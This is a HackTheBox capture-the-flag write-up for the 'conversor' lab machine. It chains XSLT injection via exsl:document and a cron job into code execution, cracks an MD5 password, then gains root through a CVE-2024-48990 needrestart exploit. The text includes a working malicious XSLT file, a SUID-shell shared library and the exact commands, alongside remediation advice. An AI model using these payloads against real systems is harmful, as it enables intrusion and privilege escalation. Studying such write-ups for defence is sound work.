$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: Full HackTheBox machine with an XML-to-HTML converter web app and Linux privilege escalation. Solution: Exploited XSLT injection via exsl:document to write a Python reverse shell through a cron job for user access, then used CVE-2024-48990 needrestart PYTHONPATH injection for root.
| Field | Value |
|---|---|
| Platform | HackTheBox |
| Target | 10.129.1.165 |
| Category | Web / Linux Privilege Escalation |
| Difficulty | Medium |
| User Flag | aeff561c839d56cfced2c19e6ec562eb |
| Root Flag | 4f83b59aad1bc7ababce8678ff0feaed |
This is a complete HackTheBox machine involving:
nmap -sV -sC 10.129.1.165
Results:
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 8.9p1 |
| 53 | DNS | - |
| 80 | HTTP | Apache 2.4.52 |
The HTTP service redirects to conversor.htb - added to /etc/hosts:
echo "10.129.1.165 conversor.htb" | sudo tee -a /etc/hosts
The website is an XML to HTML converter using XSLT transformation:
On the /about page, found a download link:
/static/source_code.tar.gz
curl -O http://conversor.htb/static/source_code.tar.gz tar -xzf source_code.tar.gz
app.pyfrom lxml import etree # XML Parser - SECURE configuration (XXE blocked) parser = etree.XMLParser( resolve_entities=False, # No XXE no_network=True, # No external requests dtd_validation=False, load_dtd=False ) xml_tree = etree.parse(xml_path, parser) # XSLT Parser - INSECURE configuration (no restrictions!) xslt_tree = etree.parse(xslt_path) # Default parser = vulnerable! transform = etree.XSLT(xslt_tree)
Critical Finding #1: The XML parser is hardened against XXE, but the XSLT parser has NO restrictions, allowing use of dangerous EXSLT extensions like exsl:document.
install.md# Cron job configuration * * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
Critical Finding #2: A cron job runs every minute, executing ALL .py files in /var/www/conversor.htb/scripts/ as www-data.
XSLT exsl:document → Write .py file to scripts/ → Cron executes as www-data → RCE
The exsl:document extension allows writing arbitrary files to the filesystem. Created a malicious XSLT file that writes a Python script to dump the database:
malicious.xslt:
<?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl"> <xsl:output method="text"/> <xsl:template match="/"> <exsl:document href="/var/www/conversor.htb/scripts/cmd.py" method="text"> import sqlite3 conn = sqlite3.connect('/var/www/conversor.htb/instance/users.db') c = conn.cursor() c.execute("SELECT * FROM users") rows = c.fetchall() with open('/var/www/conversor.htb/static/db.txt', 'w') as f: for row in rows: f.write(str(row) + '\n') conn.close() </exsl:document> <xsl:text>done</xsl:text> </xsl:template> </xsl:stylesheet>
trigger.xml:
<?xml version="1.0"?> <root>trigger</root>
trigger.xml and malicious.xsltRetrieved the database dump:
curl http://conversor.htb/static/db.txt
Output:
(1, 'fismathack', '5b5c3ac3a1c897c94caad48e6c71fdec')
Identified the hash as MD5 (32 hex characters, no salt).
# Create hash file echo "5b5c3ac3a1c897c94caad48e6c71fdec" > hash.txt # Crack with John the Ripper john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Result:
5b5c3ac3a1c897c94caad48e6c71fdec:Keepmesafeandwarm
ssh [email protected] # Password: Keepmesafeandwarm cat /home/fismathack/user.txt
aeff561c839d56cfced2c19e6ec562eb
fismathack@conversor:~$ sudo -l User fismathack may run the following commands on conversor: (ALL : ALL) NOPASSWD: /usr/sbin/needrestart
fismathack@conversor:~$ needrestart --version needrestart 3.7
Critical Finding: needrestart version 3.7 is vulnerable to CVE-2024-48990!
needrestart < 3.8 is vulnerable to local privilege escalation via PYTHONPATH injection:
needrestart scans running processes to check if they need restartPYTHONPATH environment variable from the scanned processPYTHONPATH, needrestart will load attacker-controlled modules as root┌─────────────────────────────────────────────────────────────────────┐
│ CVE-2024-48990 ATTACK FLOW │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ 1. Create malicious shared library with constructor │
│ └─> __attribute__((constructor)) runs on library load │
│ │
│ 2. Place as importlib/__init__.so in controlled directory │
│ └─> Python imports importlib early during startup │
│ │
│ 3. Run Python process with PYTHONPATH pointing to our directory │
│ └─> PYTHONPATH=/home/fismathack/pwn python3 wait.py & │
│ │
│ 4. Run sudo needrestart │
│ └─> needrestart scans our Python process │
│ └─> Runs python3 with OUR PYTHONPATH as root │
│ └─> Loads our malicious importlib/__init__.so │
│ └─> Constructor executes as root! │
│ │
│ 5. Constructor creates SUID shell │
│ └─> cp /bin/sh /tmp/poc; chmod u+s /tmp/poc │
│ │
│ 6. Execute SUID shell │
│ └─> /tmp/poc -p → root shell │
│ │
└─────────────────────────────────────────────────────────────────────┘
lib.c:
#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> // Constructor attribute - runs when library is loaded static void pwn() __attribute__((constructor)); void pwn() { // Only execute payload when running as root if (geteuid() == 0) { setuid(0); setgid(0); // Create SUID shell system("cp /bin/sh /tmp/poc; chmod u+s /tmp/poc"); } }
Compile on local machine (or use Docker for cross-compilation):
# For x86_64 Linux target gcc -shared -fPIC -o importlib/__init__.so lib.c # If cross-compiling from macOS: docker run --rm -v $(pwd):/work -w /work gcc:latest \ gcc -shared -fPIC -o importlib/__init__.so lib.c
# Create directory structure on target ssh [email protected] "mkdir -p ~/pwn/importlib" # Upload the malicious library scp importlib/__init__.so [email protected]:~/pwn/importlib/
On the target machine:
fismathack@conversor:~$ cat > ~/pwn/wait.py << 'EOF' import time while True: time.sleep(1) EOF
Important: The script must NOT be in /tmp/ - needrestart blacklists /tmp/ paths!
# Start Python process with malicious PYTHONPATH fismathack@conversor:~$ PYTHONPATH=/home/fismathack/pwn python3 ~/pwn/wait.py & [1] 12345 # Trigger needrestart as root (scans our Python process) fismathack@conversor:~$ sudo /usr/sbin/needrestart -r l # Check if SUID shell was created fismathack@conversor:~$ ls -la /tmp/poc -rwsr-xr-x 1 root root 125688 Jan 15 22:39 /tmp/poc
# Execute SUID shell with -p to preserve privileges fismathack@conversor:~$ /tmp/poc -p # Verify we're root $ id uid=1000(fismathack) gid=1000(fismathack) euid=0(root) groups=1000(fismathack) # Read root flag $ cat /root/root.txt 4f83b59aad1bc7ababce8678ff0feaed
4f83b59aad1bc7ababce8678ff0feaed
┌─────────────────────────────────────────────────────────────────────┐
│ COMPLETE ATTACK CHAIN │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────── USER FLAG ───────────────────┐ │
│ │ │ │
│ │ 1. Nmap → Port 80 (HTTP) → conversor.htb │ │
│ │ ↓ │ │
│ │ 2. /about → /static/source_code.tar.gz │ │
│ │ ↓ │ │
│ │ 3. Code Analysis: │ │
│ │ • XSLT parser has no restrictions │ │
│ │ • Cron executes *.py in scripts/ │ │
│ │ ↓ │ │
│ │ 4. XSLT Injection (exsl:document) │ │
│ │ → Write Python script to scripts/ │ │
│ │ ↓ │ │
│ │ 5. Cron executes → Database dump │ │
│ │ → (1, 'fismathack', 'MD5_HASH') │ │
│ │ ↓ │ │
│ │ 6. John → Keepmesafeandwarm │ │
│ │ ↓ │ │
│ │ 7. SSH → user.txt ✓ │ │
│ │ │ │
│ └──────────────────────────────────────────────────┘ │
│ ↓ │
│ ┌─────────────────── ROOT FLAG ───────────────────┐ │
│ │ │ │
│ │ 8. sudo -l → NOPASSWD: /usr/sbin/needrestart │ │
│ │ ↓ │ │
│ │ 9. needrestart --version → 3.7 (vulnerable!) │ │
│ │ ↓ │ │
│ │ 10. CVE-2024-48990: │ │
│ │ • Create malicious importlib/__init__.so │ │
│ │ • Run Python with PYTHONPATH=~/pwn │ │
│ │ • sudo needrestart -r l │ │
│ │ ↓ │ │
│ │ 11. Constructor creates SUID /tmp/poc │ │
│ │ ↓ │ │
│ │ 12. /tmp/poc -p → root shell → root.txt ✓ │ │
│ │ │ │
│ └──────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘
| # | Vulnerability | Impact | Severity |
|---|---|---|---|
| 1 | Source Code Disclosure | Information leak, reveals attack vectors | Medium |
| 2 | XSLT Injection (exsl:document) | Arbitrary file write on server | High |
| 3 | Insecure Cron Job | Code execution as www-data | High |
| 4 | Weak Password Storage | MD5 without salt, easily crackable | Medium |
| # | Vulnerability | Impact | Severity |
|---|---|---|---|
| 5 | CVE-2024-48990 | Local privilege escalation to root | Critical |
libxslt or lxml without explicit access controlsXSLTAccessControl.DENY_ALL restrictionexsl:document, saxon:output, or similar extensions*.py, *.sh in cronsudo needrestart without password/tmp/ (blacklisted)| Tool | Purpose |
|---|---|
| nmap | Port scanning and service detection |
| curl | HTTP requests and file download |
| ffuf | Directory/file enumeration |
| john | MD5 hash cracking with rockyou.txt |
| sqlite3 | Database extraction |
| gcc | Compile malicious shared library |
| scp | File transfer to target |
| ssh | Remote access |
from lxml import etree # Secure XSLT configuration xslt_ac = etree.XSLTAccessControl( read_file=False, write_file=False, create_dir=False, read_network=False, write_network=False ) xslt_tree = etree.parse(xslt_path) transform = etree.XSLT(xslt_tree, access_control=xslt_ac)
# BAD - executes all files in directory * * * * * for f in /path/*.py; do python3 "$f"; done # GOOD - explicit file paths only * * * * * python3 /path/specific_script.py
# BAD import hashlib password_hash = hashlib.md5(password.encode()).hexdigest() # GOOD import bcrypt password_hash = bcrypt.hashpw(password.encode(), bcrypt.gensalt())
# Update to version 3.8+ apt update && apt upgrade needrestart # Or disable Python interpreter scanning echo '$nrconf{interpscan} = 0;' >> /etc/needrestart/needrestart.conf
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar